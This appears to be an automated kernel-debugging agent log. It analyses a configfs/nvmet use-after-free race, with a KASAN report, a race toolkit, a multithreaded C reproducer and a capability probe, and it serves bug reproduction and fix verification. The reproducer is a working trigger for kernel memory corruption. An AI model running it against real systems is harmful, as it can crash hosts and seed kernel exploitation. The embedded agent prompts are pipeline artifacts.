**The Race Between `symlinkat` and `rmdir` Exposing a Use-After-Free in `nvmet`**

My thought process to arrive at this reproducer and understand the bug has been a detailed unraveling of how `configfs` interacts with the `nvmet` module, specifically around creating symbolic links within dynamically managed directories.

It all starts with the `configfs_symlink` operation. When I try to create a symlink, say, `/sys/kernel/config/nvmet/ports/1/subsystems/subsys1`, the kernel needs to find the parent directory (`/sys/kernel/config/nvmet/ports/1/subsystems`). My initial thought is that `configfs_symlink` will look up this parent directory and, crucially, will acquire a reference to its associated `config_item`. In the `nvmet` context, this parent item is `port->subsys_group.cg_item`. This reference increment is key; it ensures that the `config_item` (and by extension, the `nvmet_port` it belongs to) doesn't get prematurely freed while `configfs_symlink` is still operating on it.

Now, the crucial part of the race: immediately after `configfs_symlink` acquires this reference, it drops the inode lock for the parent directory. This is a common pattern to avoid deadlocks when interacting with other parts of the VFS or kernel subsystems. However, this unlocked window is precisely where the race can manifest.

Simultaneously, I'm performing a `rmdir` operation on the parent directory, specifically `/sys/kernel/config/nvmet/ports/1`. This `rmdir` operation, when handled by `configfs_rmdir`, will proceed to detach the directory and its associated default groups. In the `nvmet` implementation, this means it will call `unlink_obj` on `port->subsys_group`. The `unlink_obj` function is critical here because it decrements the reference count of the parent group (`port->group`). If this was the last reference, the `nvmet_port` structure itself will be freed by `nvmet_port_release`.

The race occurs when `rmdir` successfully frees the `nvmet_port` *before* `configfs_symlink` has finished its operation. When `configfs_symlink` resumes after the lock is re-acquired, it proceeds to call `nvmet_port_subsys_allow_link`. This function attempts to access `parent->ci_parent`. Here's the problem: `parent` in this context refers to the `config_item` that `configfs_symlink` had taken a reference to earlier. This `config_item` is embedded within the `nvmet_port` structure. Since the `nvmet_port` has already been freed, reading `parent->ci_parent` is a classic use-after-free vulnerability. The kernel attempts to read data from memory that has been deallocated, leading to unpredictable behavior and potential crashes. The offset analysis confirms this precisely: the UAF read happens at offset 1224 within the `nvmet_port` structure, corresponding to `subsys_group.cg_item.ci_parent`.

To reliably reproduce this, I need to create a tight loop where `symlinkat` and `rmdir` operations are executed concurrently and rapidly. I considered using techniques like FUSE or `userfaultfd` to artificially slow down specific kernel operations and widen the race window, but for simplicity and reliability, a tight loop of `symlinkat` and `rmdir`/`mkdir` pairs, potentially with multiple threads, is usually sufficient to trigger the bug within a few seconds. The reproducer code reflects this by setting up the necessary `configfs` and `nvmet` hierarchy and then launching threads to perform these conflicting operations in rapid succession. The `mkdir` in the `rmdir_thread` is essential to ensure that the target port directory exists for `symlinkat` to operate on, and `rmdir` then attempts to tear it down. This constant churn is what exposes the underlying use-after-free.

The core dependencies are the `configfs` module, the `nvmet` module, and the specific interaction flow between `configfs_symlink`, `configfs_rmdir`, and the `nvmet_port_subsys_allow_link` callback. The presented C reproducer encapsulates this interaction and is designed to trigger the race condition effectively.


96/2 2026/08/26 18:16 tool get-toolkit
0m Args:
map[Name:race]

Results:
map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

97/2 2026/08/26 18:16 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 50545
							output: 1242
							thoughts: 687
						

Thoughts:
**My Approach to Triggering the Race Condition**

My primary goal here is to induce a race condition within the `nvmet` subsystem. To achieve this, I've devised a strategy involving multiple threads performing conflicting operations in a tight loop, while a timer dictates the duration of this chaotic environment.

First, I established the necessary groundwork. This involved ensuring unbuffered I/O for immediate feedback, mounting the `configfs` to `/sys/kernel/config` if it wasn't already, and loading the `nvmet` module. I then proactively created some initial directories within `/sys/kernel/config/nvmet` (`subsystems`, `subsys1`, and `ports`) to set the stage for the race.

The heart of my strategy lies in two types of threads:

1.  **`symlink_thread`**: This thread's sole purpose is to repeatedly attempt to create a symbolic link. Specifically, it tries to symlink `../../../subsystems/subsys1` to `/sys/kernel/config/nvmet/ports/1/subsystems/subsys1`. Crucially, immediately after a successful symlink creation, it attempts to `unlink` it. This rapid creation and deletion of a symlink is designed to create a window of vulnerability.

2.  **`rmdir_thread`**: This thread complements the symlink thread by focusing on directory manipulation. It attempts to `mkdir` the `/sys/kernel/config/nvmet/ports/1` directory and, immediately after, `rmdir` it. This creates a situation where the directory might exist for a brief period, allowing the symlink thread to potentially operate on it, or be removed while the symlink thread is attempting to use it.

To amplify the chances of a race condition, I instantiate four instances of each of these threads. This parallelism is key to overwhelming the subsystem's ability to maintain consistent state.

The entire race is orchestrated within a simple, tight loop controlled by `TIMER_START` and `TIMER_NOT_EXPIRED`. I've set a duration of 5 seconds for the race to run. During this time, the threads will be aggressively attempting their operations.

Once the 5-second timer expires, I signal the threads to stop by atomically setting the `stop` flag. Following this, I use `pthread_join` to ensure all threads have completed their final operations and exited gracefully. This clean shutdown is essential for analyzing the outcome and avoiding any lingering unpredictable behavior.

In essence, my plan is to create a high-contention environment where concurrent creation and deletion of directory structures and symbolic links can expose potential race conditions within the `nvmet` configuration filesystem interface.


98/1 2026/08/26 18:16 loop
17m
99/2 2026/08/26 18:16 iteration 0
3m
100/3 2026/08/26 18:16 action If
0m Args:
map[OracleFeedback:]

101/3 2026/08/26 18:16 action merge-strategy
0m Results:
map[CurrentReproStrategy:### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```]

102/3 2026/08/26 18:16 agent repro-generator
0m Model:
deep-reasoning

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) < 0) {
        printf("[-] Failed to create probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created probe_port successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/probe_port") < 0) {
        printf("[-] Failed to remove probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed probe_port successfully.\n");

    return 0;
}]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).

Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Strategy: ### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```




103/4 2026/08/26 18:16 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8570
							output: 482
							thoughts: 1711
						

Thoughts:
**My Thought Process for Generating the Capability Probing Program**

My primary objective here is to create a minimal C program designed to verify a bugfix for a specific KASAN slab-use-after-free vulnerability identified in the `nvmet_port_subsys_allow_link` function. This bug is characterized by a race condition occurring between `configfs_symlink` and `configfs_rmdir` operations.

